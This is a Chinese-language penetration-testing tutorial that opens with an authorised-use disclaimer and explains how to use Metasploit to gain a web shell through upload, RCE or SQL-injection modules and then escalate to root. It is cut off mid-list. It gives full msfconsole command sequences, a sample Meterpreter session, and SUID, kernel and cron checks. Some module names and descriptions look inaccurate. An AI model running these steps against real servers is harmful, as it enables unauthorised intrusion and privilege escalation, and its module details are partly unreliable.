所有关于 Metasploit 的研究和使用都应在你拥有明确授权的测试环境中进行,未经授权对任何系统进行渗透测试都是非法的。 本文内容仅用于学习和安全研究目的。

metasploit对网站提权
(图片来源网络,侵删)

核心概念:网站提权是什么?

“网站提权”这个说法其实是一个通俗的讲法,它通常指的是通过网站这个入口(例如上传 Webshell、利用 SQL 注入、命令执行等漏洞),获取到服务器的操作系统权限

这个过程不是一步到位的,通常分为两个阶段:

  1. 初始访问: 利用网站的漏洞(如文件上传、SQLi、RCE、XXE 等)在服务器上执行你自己的代码,获得一个低权限的 Shell,这个 Shell 通常是 Web 服务器权限(www-dataapache 用户)。
  2. 权限提升: 从低权限的 Shell 出发,利用操作系统本身的漏洞(内核漏洞、服务配置错误、弱密码、SUID/GUID 文件等),将权限提升至 rootAdministrator

Metasploit 在这两个阶段都能发挥巨大作用,尤其是在初始访问阶段,在权限提升阶段,Metasploit 的辅助模块和后渗透模块也很有用。


第一阶段:利用网站漏洞获取初始 Shell (Web Shell)

这是最直接使用 Metasploit 进行“网站提权”的步骤,Metasploit 提供了大量的 exploit 模块,可以直接针对各种 Web 漏洞。

metasploit对网站提权
(图片来源网络,侵删)

常见思路和模块:

  1. Web 上传漏洞

    • 场景: 网站允许用户上传文件,但没有对文件类型、内容进行严格校验或重命名,导致你可以上传一个 Webshell(如 .php 文件)。
    • Metasploit 模块: exploit/unix/webapp/php_webshell_upload
    • 流程:
      1. 设置目标网站的相关参数,如 TARGETURI(Webshell 上传的路径)、HttpUsernameHttpPassword(如果需要认证)。
      2. 运行模块,Metasploit 会构造一个恶意的上传请求。
      3. 如果成功,你会获得一个 Meterpreter 会话,这个会话就是以 Web 服务器用户(如 www-data)身份运行的。
  2. 远程代码执行 漏洞

    • 场景: 网站应用的某个功能点(如搜索、评论、文件处理)存在漏洞,导致攻击者可以注入并执行任意操作系统命令。
    • Metasploit 模块: 这类模块非常多,针对各种具体应用,
      • exploit/multi/http/struts2_devmode: 针对 Apache Struts2 的 devMode 远程代码执行。
      • exploit/multi/http/wp_plugin_revslider: 针对 WordPress RevSlider 插件的 RCE。
      • exploit/multi/http/joomla_com_fields: 针对 Joomla 组件的 RCE。
    • 流程:
      1. 确定网站使用的技术栈(如 WordPress, Joomla, Drupal, Tomcat, IIS 等)。
      2. 在 Metasploit 中搜索对应技术的 RCE 模块 (search type:exploit <技术名>)。
      3. 配置模块参数,如 RHOSTS(目标IP)、RPORT(端口)、TARGETURI(网站路径)、HTTP::junkparams(绕过WAF)等。
      4. 运行模块,成功后直接获得一个 Meterpreter 或命令行 Shell。
  3. 认证绕过 / SQL 注入

    • 场景: 虽然纯粹的 SQL 注入本身不直接给你 Shell,但你可以利用它获取后台管理员的密码哈希,然后尝试破解,或者,通过 UNION SELECT 写入 Webshell 到网站的某个目录下。
    • Metasploit 模块: exploit/multi/http/mysql_mof_exec (利用 MySQL UDF 提权,较老但经典),或者结合 auxiliary/scanner/http/wordpress_login_enum 等辅助模块获取密码。

示例:使用 Metasploit 上传 PHP Webshell

假设我们发现了一个存在文件上传漏洞的网站,我们可以使用 php_webshell_upload 模块。

metasploit对网站提权
(图片来源网络,侵删)
# 1. 启动 Metasploit 控制台
msfconsole
# 2. 搜索相关模块
search php_webshell_upload
# 3. 使用该模块
use exploit/unix/webapp/php_webshell_upload
# 4. 查看并设置必要参数
show options
#    Name      Current Setting  Required  Description
#    ----      ---------------  --------  -----------
#    HttpHost                   yes       The HTTP host
#    HttpPassword               no        The HTTP password
#    HttpUsername               no        The HTTP username
#    Proxies                    no        A proxy chain
#    RHOSTS                     yes       The target address range
#    RPORT      80               yes       The target port
#   TARGETURI  /                yes       The URI path of the webshell upload handler
#   VHOST                       no        HTTP virtual host
# 5. 设置参数
set RHOSTS 192.168.1.101  # 目标服务器IP
set RPORT 8080            # 目标端口
set TARGETURI /upload     # 上传脚本所在的路径 (需要自己探测)
set HttpUsername admin    # 如果网站需要HTTP Basic认证,设置用户名
set HttpPassword password123 # 设置密码
# 6. 运行攻击
run

如果成功,你会看到类似下面的输出,表示你获得了一个 Meterpreter 会话:

[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:43210) at 2025-10-27 10:30:00 +0800

你已经进入了服务器的“大门”,但权限很低。


第二阶段:从低权限 Shell 提升至 Root 权限

获得 Meterpreter 会话后,真正的“提权”工作才开始,Metasploit 提供了强大的后渗透模块来辅助这个过程。

常见思路和模块:

  1. 使用 Metasploit 的 post 模块进行信息收集和提权

    • 场景: 你已经 Meterpreter 会话,但不确定系统信息和提权点。
    • 流程:
      1. 进入会话: sessions -l 查看所有会话,sessions -i 1 进入第一个会话。
      2. 信息收集: 使用 post 模块收集系统信息,如内核版本、已安装软件、用户权限等。
        # 在 Meterpreter 会话中执行
        background # 将会话放到后台
        use post/multi/recon/local_exploit_suggester # 这是一个神器!
        set SESSION 1 # 指定要检查的会话ID
        run

        这个模块会自动分析目标系统的信息,并列出所有已知的、可用于提权的本地漏洞。

      3. 利用已知漏洞: 根据返回的结果,选择一个合适的 exploit 模块进行攻击。
        # 发现了一个内核漏洞
        use exploit/linux/local/<某个内核漏洞模块>
        set SESSION 1
        set TARGET <目标系统类型>
        run
  2. 手动提权技巧 (结合 Metasploit) Metasploit 的功能虽然强大,但手动提权的过程更能帮助你理解原理,你可以利用 Meterpreter 来执行这些命令。

    • 检查 SUID/GUID 文件:

      # 在 Meterpreter 中执行 shell,进入系统命令行
      shell
      # 然后执行以下命令
      find / -perm -4000 -type f 2>/dev/null

      查找结果中,如果发现 /usr/bin/passwd, /usr/bin/sudo, /bin/mount 等可被利用的文件,就可以尝试提权。

    • 检查内核版本和漏洞:

      uname -a

      将内核版本号去 Google 搜索,如 "Linux kernel 4.4.0-142 exploit",可能会有公开的漏洞利用代码(.c 文件),你可以将代码上传到服务器,编译后执行。

    • 检查 cron 任务:

      cat /etc/crontab
      ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

      如果某个 cron 任务是以 root 权限运行的,并且它执行的脚本是你有权限写入的,你就可以修改这个脚本来获取一个 root shell。

    • 检查环境变量: